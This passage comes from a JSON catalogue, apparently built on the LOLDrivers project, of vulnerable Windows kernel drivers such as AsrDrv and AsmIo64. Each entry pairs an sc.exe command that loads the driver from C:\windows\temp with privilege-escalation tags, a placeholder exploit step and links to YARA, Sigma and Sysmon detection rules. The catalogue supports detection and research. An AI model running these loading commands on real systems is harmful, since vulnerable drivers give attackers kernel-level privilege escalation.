        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsmIo64.sys binPath=C:\\windows\\temp\\AsmIo64.sys type=kernel && sc.exe start AsmIo64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-asmio64",
    "install": [
      {
        "method": "custom",
        "description": "Load AsmIo64.sys kernel driver",
        "commands": [
          "sc.exe create AsmIo64.sys binPath=C:\\windows\\temp\\AsmIo64.sys type=kernel && sc.exe start AsmIo64.sys"
        ]
      }
    ],
    "name": "AsmIo64.sys",
    "namespace": "windows:kernel:asmio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/ucsb-seclab/popkorn-artifact/tree/main/evaluation"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create asmmap64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\asmmap64.sys type=kernel && sc.exe start asmmap64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver asmmap64.sys\"\n\n# asmmap64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asmmap64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/025e7be9fcefd6a83f4471bba0c11f1c11bd5047047d26626da24ee9a419cdc4.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create asmmap64.sys binPath=C:\\windows\\temp\\asmmap64.sys type=kernel && sc.exe start asmmap64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asmmap64",
    "install": [
      {
        "method": "custom",
        "description": "Load asmmap64.sys kernel driver",
        "commands": [
          "sc.exe create asmmap64.sys binPath=C:\\windows\\temp\\asmmap64.sys type=kernel && sc.exe start asmmap64.sys"
        ]
      }
    ],
    "name": "asmmap64.sys",
    "namespace": "windows:kernel:asmmap64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrAutoChkUpdDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrAutoChkUpdDrv.sys     type=kernel && sc.exe start AsrAutoChkUpdDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrAutoChkUpdDrv.sys\"\n\n# AsrAutoChkUpdDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrautochkupddrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/2aa1b08f47fbb1e2bd2e4a492f5d616968e703e1359a921f62b38b8e4662f0c4.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrAutoChkUpdDrv.sys binPath=C:\\windows\\temp\\AsrAutoChkUpdDrv.sys     type=kernel && sc.exe start AsrAutoChkUpdDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrautochkupddrv",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrAutoChkUpdDrv.sys kernel driver",
        "commands": [
          "sc.exe create AsrAutoChkUpdDrv.sys binPath=C:\\windows\\temp\\AsrAutoChkUpdDrv.sys     type=kernel && sc.exe start AsrAutoChkUpdDrv.sys"
        ]
      }
    ],
    "name": "AsrAutoChkUpdDrv.sys",
    "namespace": "windows:kernel:asrautochkupddrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrAutoChkUpdDrv_1_0_32.sys binPath=C:\\\\windows\\\\temp\\\\AsrAutoChkUpdDrv_1_0_32.sys type=kernel && sc.exe start AsrAutoChkUpdDrv_1_0_32.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrAutoChkUpdDrv_1_0_32.sys\"\n\n# AsrAutoChkUpdDrv_1_0_32.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrautochkupddrv-1-0-32.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-asrautochkupddrv-1-0-32",
    "name": "AsrAutoChkUpdDrv_1_0_32.sys",
    "namespace": "windows:kernel:asrautochkupddrv-1-0-32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrCDDrv binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrCDDrv.sys type=kernel && sc.exe start AsrCDDrv\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrCDDrv.sys\"\n\n# AsrCDDrv.sys\n\nAsrCDDrv.sys is a kernel driver from ASRock Incorporation that exposes control register read/write (cr0, cr2, cr3, cr4, cr8), arbitrary MSR read/write, arbitrary physical memory read/write via MmMapIoSpace, contiguous memory allocation/free via MmAllocateContiguousMemorySpecifyCache, and I/O port read/write (8/16/32-bit). The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrcddrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AsrCDDrv.sys is a kernel driver from ASRock Incorporation that exposes control register read/write (cr0, cr2, cr3, cr4, cr8), arbitrary MSR read/write, arbitrary physical memory read/write via MmMapIoSpace, contiguous memory allocation/free via MmAllocateContiguousMemorySpecifyCache, and I/O port read/write (8/16/32-bit). The driver is available in the KeServiceDescriptorTable/vulnerable-drivers repository.",
    "execution": {
      "template": "sc.exe create AsrCDDrv binPath=C:\\windows\\temp\\AsrCDDrv.sys type=kernel && sc.exe start AsrCDDrv",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-asrcddrv",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrCDDrv.sys kernel driver",
        "commands": [
          "sc.exe create AsrCDDrv binPath=C:\\windows\\temp\\AsrCDDrv.sys type=kernel && sc.exe start AsrCDDrv"
        ]
      }
    ],
    "name": "AsrCDDrv.sys",
    "namespace": "windows:kernel:asrcddrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/326"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrDrv.sys binPath=C:\\\\windows\\\\temp\\\\AsrDrv.sys type=kernel && sc.exe start AsrDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrDrv.sys\"\n\n# AsrDrv.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv",
    "name": "AsrDrv.sys",
    "namespace": "windows:kernel:asrdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrDrv10.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrDrv10.sys type=kernel && sc.exe start AsrDrv10.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrDrv10.sys\"\n\n# AsrDrv10.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv10.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrDrv10.sys binPath=C:\\windows\\temp\\AsrDrv10.sys type=kernel && sc.exe start AsrDrv10.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv10",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrDrv10.sys kernel driver",
        "commands": [
          "sc.exe create AsrDrv10.sys binPath=C:\\windows\\temp\\AsrDrv10.sys type=kernel && sc.exe start AsrDrv10.sys"
        ]
      }
    ],
    "name": "AsrDrv10.sys",
    "namespace": "windows:kernel:asrdrv10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrDrv101.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrDrv101.sys type=kernel && sc.exe start AsrDrv101.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrDrv101.sys\"\n\n# AsrDrv101.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv101.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrDrv101.sys binPath=C:\\windows\\temp\\AsrDrv101.sys type=kernel && sc.exe start AsrDrv101.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv101",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrDrv101.sys kernel driver",
        "commands": [
          "sc.exe create AsrDrv101.sys binPath=C:\\windows\\temp\\AsrDrv101.sys type=kernel && sc.exe start AsrDrv101.sys"
        ]
      }
    ],
    "name": "AsrDrv101.sys",
    "namespace": "windows:kernel:asrdrv101",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrDrv102.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrDrv102.sys type=kernel && sc.exe start AsrDrv102.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrDrv102.sys\"\n\n# AsrDrv102.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv102.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrDrv102.sys binPath=C:\\windows\\temp\\AsrDrv102.sys type=kernel && sc.exe start AsrDrv102.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv102",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrDrv102.sys kernel driver",
        "commands": [
          "sc.exe create AsrDrv102.sys binPath=C:\\windows\\temp\\AsrDrv102.sys type=kernel && sc.exe start AsrDrv102.sys"
        ]
      }
    ],
    "name": "AsrDrv102.sys",
    "namespace": "windows:kernel:asrdrv102",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrDrv103.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrDrv103.sys type=kernel && sc.exe start AsrDrv103.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrDrv103.sys\"\n\n# AsrDrv103.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv103.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrDrv103.sys binPath=C:\\windows\\temp\\AsrDrv103.sys type=kernel && sc.exe start AsrDrv103.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv103",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrDrv103.sys kernel driver",
        "commands": [
          "sc.exe create AsrDrv103.sys binPath=C:\\windows\\temp\\AsrDrv103.sys type=kernel && sc.exe start AsrDrv103.sys"
        ]
      }
    ],
    "name": "AsrDrv103.sys",
    "namespace": "windows:kernel:asrdrv103",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create asrdrv104.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\asrdrv104.sys type=kernel && sc.exe start asrdrv104.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver asrdrv104.sys\"\n\n# asrdrv104.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv104.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create asrdrv104.sys binPath=C:\\windows\\temp\\asrdrv104.sys type=kernel && sc.exe start asrdrv104.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv104",
    "install": [
      {
        "method": "custom",
        "description": "Load asrdrv104.sys kernel driver",
        "commands": [
          "sc.exe create asrdrv104.sys binPath=C:\\windows\\temp\\asrdrv104.sys type=kernel && sc.exe start asrdrv104.sys"
        ]
      }
    ],
    "name": "asrdrv104.sys",
    "namespace": "windows:kernel:asrdrv104",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
